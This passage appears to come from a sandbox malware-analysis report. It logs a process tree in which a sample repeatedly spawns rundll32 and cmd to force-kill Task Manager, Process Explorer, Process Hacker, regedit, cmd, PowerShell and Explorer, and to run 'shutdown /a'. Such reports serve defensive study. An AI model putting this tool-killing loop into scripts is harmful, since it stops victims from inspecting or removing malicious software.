- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6004
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5388
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6388
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5496
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:776
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5160
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2852
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4524
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5004
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6020
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5068
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3424
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4536
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4556
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2452
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3744
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4188
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2256
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2952
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2832
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1192
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6360
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1440
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1240
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:7028
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1448
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6556
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3288
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6572
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1516
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6964
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5884
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2752
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3084
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:992
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1268
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4964
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5228
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5812
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5156
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5692
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5596
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5804
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:7140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5184
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3972
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1612
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1496
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:364
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5620
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:7084
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1760
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4768
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2600
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2740
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6720
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:7036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:6184
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6784
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4512
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2672
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1184
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:7060
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:7152
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1824
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:7012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:7088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5452
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2928
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5468
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4776
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6588
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4688
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3984
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2716
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1928
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4440
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2420
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6192
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1384
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2500
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4300
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4244
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3360
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1304
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6892
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2348
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5876
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1520
- C:\Windows\SYSTEM32\rundll32.exe
